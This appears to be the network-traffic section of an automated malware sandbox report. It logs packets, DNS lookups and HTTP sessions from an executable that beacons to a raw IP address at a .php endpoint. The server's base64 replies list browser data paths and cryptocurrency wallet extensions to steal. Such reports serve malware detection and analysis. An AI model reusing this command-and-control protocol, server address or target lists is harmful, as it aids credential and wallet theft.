Oct 30, 2024 06:17:46.786016941 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:46.786057949 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:46.786127090 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:46.786303997 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:46.786314011 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:46.787552118 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:46.787751913 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:46.787817955 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:46.787842989 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:46.787868023 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:46.787882090 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:46.787887096 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:46.790021896 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:46.790040016 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:46.790190935 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:46.790324926 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:46.790334940 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.061971903 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.062496901 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.062509060 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.062968969 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.062974930 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.189800978 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.189896107 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.190000057 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.190062046 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.190169096 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.190181971 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.190193892 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.190198898 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.330693960 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.331289053 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.331317902 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.331790924 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.331795931 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.371512890 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.371937037 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.371984005 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.372323990 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.372338057 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.461837053 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.461926937 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.462032080 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.462239981 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.462258101 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.462270021 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.462275028 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.500914097 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.500969887 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.501095057 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.501332045 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.501355886 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.501370907 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.501379967 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.510643005 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.511140108 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.511153936 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.511600971 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.511606932 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.524930954 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.525293112 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.525327921 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.525666952 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.525675058 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.760694981 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.760761023 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.760859966 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.761105061 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.761105061 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.761147976 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.761146069 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.761174917 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.761311054 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.761374950 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.761411905 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.761411905 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:47.761430025 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:47.761437893 CET	443	50026	13.107.246.45	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 06:16:13.140710115 CET	53	59246	1.1.1.1	192.168.2.4
Oct 30, 2024 06:16:13.163602114 CET	53	61185	1.1.1.1	192.168.2.4
Oct 30, 2024 06:16:13.386672974 CET	63511	53	192.168.2.4	1.1.1.1
Oct 30, 2024 06:16:13.386837959 CET	63154	53	192.168.2.4	1.1.1.1
Oct 30, 2024 06:16:13.397027969 CET	53	63511	1.1.1.1	192.168.2.4
Oct 30, 2024 06:16:13.397043943 CET	53	63154	1.1.1.1	192.168.2.4
Oct 30, 2024 06:16:14.433994055 CET	53	54189	1.1.1.1	192.168.2.4
Oct 30, 2024 06:16:17.772228003 CET	61163	53	192.168.2.4	1.1.1.1
Oct 30, 2024 06:16:17.772351027 CET	56823	53	192.168.2.4	1.1.1.1
Oct 30, 2024 06:16:17.777167082 CET	53	62347	1.1.1.1	192.168.2.4
Oct 30, 2024 06:16:17.779382944 CET	53	61163	1.1.1.1	192.168.2.4
Oct 30, 2024 06:16:17.780035973 CET	53	56823	1.1.1.1	192.168.2.4
Oct 30, 2024 06:16:18.769062996 CET	53506	53	192.168.2.4	1.1.1.1
Oct 30, 2024 06:16:18.769200087 CET	54925	53	192.168.2.4	1.1.1.1
Oct 30, 2024 06:16:18.776227951 CET	53	53506	1.1.1.1	192.168.2.4
Oct 30, 2024 06:16:18.777503967 CET	53	54925	1.1.1.1	192.168.2.4
Oct 30, 2024 06:16:19.837115049 CET	138	138	192.168.2.4	192.168.2.255

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 06:16:13.386672974 CET	192.168.2.4	1.1.1.1	0xd23c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 06:16:13.386837959 CET	192.168.2.4	1.1.1.1	0x4c66	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 30, 2024 06:16:17.772228003 CET	192.168.2.4	1.1.1.1	0xc991	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 06:16:17.772351027 CET	192.168.2.4	1.1.1.1	0x944b	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 30, 2024 06:16:18.769062996 CET	192.168.2.4	1.1.1.1	0x9eaf	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 06:16:18.769200087 CET	192.168.2.4	1.1.1.1	0xb7af	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 06:16:13.397027969 CET	1.1.1.1	192.168.2.4	0xd23c	No error (0)	www.google.com		142.250.185.100	A (IP address)	IN (0x0001)	false
Oct 30, 2024 06:16:13.397043943 CET	1.1.1.1	192.168.2.4	0x4c66	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 30, 2024 06:16:17.779382944 CET	1.1.1.1	192.168.2.4	0xc991	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 06:16:17.779382944 CET	1.1.1.1	192.168.2.4	0xc991	No error (0)	plus.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 06:16:17.780035973 CET	1.1.1.1	192.168.2.4	0x944b	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 06:16:18.776227951 CET	1.1.1.1	192.168.2.4	0x9eaf	No error (0)	play.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

apis.google.com

fs.microsoft.com

play.google.com

slscr.update.microsoft.com

otelrules.azureedge.net

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.206	80	7256	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 06:16:04.287643909 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 06:16:05.194195986 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 06:16:05.197179079 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAECFHJEBAAFIEBGHIIE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 37 30 39 38 30 35 34 31 45 36 34 31 32 30 30 32 31 34 35 34 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 2d 2d 0d 0a Data Ascii: ------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="hwid"8870980541E64120021454------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="build"tale------BAECFHJEBAAFIEBGHIIE--
Oct 30, 2024 06:16:05.494204998 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 54 68 68 4d 32 45 32 4d 6a 4e 68 4e 7a 51 33 4d 44 6b 31 4d 57 56 6d 59 6d 51 7a 4f 47 4a 69 5a 47 4e 6c 4e 7a 51 77 4f 54 42 6c 4f 57 4d 79 4d 47 5a 6c 59 6a 55 32 5a 6a 63 31 4d 7a 55 30 5a 44 6b 32 4d 57 4a 6b 59 54 46 6a 4e 6d 45 77 5a 54 64 6b 59 7a 56 68 4d 6a 68 6b 4f 47 5a 68 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YThhM2E2MjNhNzQ3MDk1MWVmYmQzOGJiZGNlNzQwOTBlOWMyMGZlYjU2Zjc1MzU0ZDk2MWJkYTFjNmEwZTdkYzVhMjhkOGZhfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 30, 2024 06:16:05.495687962 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGDGHCAAKECFHJKFIJK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 61 33 61 36 32 33 61 37 34 37 30 39 35 31 65 66 62 64 33 38 62 62 64 63 65 37 34 30 39 30 65 39 63 32 30 66 65 62 35 36 66 37 35 33 35 34 64 39 36 31 62 64 61 31 63 36 61 30 65 37 64 63 35 61 32 38 64 38 66 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 2d 2d 0d 0a Data Ascii: ------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="token"a8a3a623a7470951efbd38bbdce74090e9c20feb56f75354d961bda1c6a0e7dc5a28d8fa------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="message"browsers------HDGDGHCAAKECFHJKFIJK--
Oct 30, 2024 06:16:05.777148008 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 30, 2024 06:16:05.777168036 CET	212	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVk
Oct 30, 2024 06:16:05.777177095 CET	844	IN	Data Raw: 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e 78 63 51 32 68 6c 5a 47 39 30 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 77 77 66 45 31 70 59 33 4a 76 63 32 39 6d 64 43 42 46 5a 47 64 6c 66 46 78 4e 61 57 4e 79 62 33 Data Ascii: b3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXE1pY3Jvc29mdFxcRWRnZVxcQXBwbGljYXRpb25cXHwzNjAgQnJvd3NlcnxcMzYwQnJvd3NlclxCcm9
Oct 30, 2024 06:16:05.778625965 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKKJKKECFIDGDHIJEGD Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 61 33 61 36 32 33 61 37 34 37 30 39 35 31 65 66 62 64 33 38 62 62 64 63 65 37 34 30 39 30 65 39 63 32 30 66 65 62 35 36 66 37 35 33 35 34 64 39 36 31 62 64 61 31 63 36 61 30 65 37 64 63 35 61 32 38 64 38 66 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 2d 2d 0d 0a Data Ascii: ------CAKKJKKECFIDGDHIJEGDContent-Disposition: form-data; name="token"a8a3a623a7470951efbd38bbdce74090e9c20feb56f75354d961bda1c6a0e7dc5a28d8fa------CAKKJKKECFIDGDHIJEGDContent-Disposition: form-data; name="message"plugins------CAKKJKKECFIDGDHIJEGD--
Oct 30, 2024 06:16:06.060384035 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 30, 2024 06:16:06.060403109 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Oct 30, 2024 06:16:06.060411930 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Oct 30, 2024 06:16:06.060425997 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
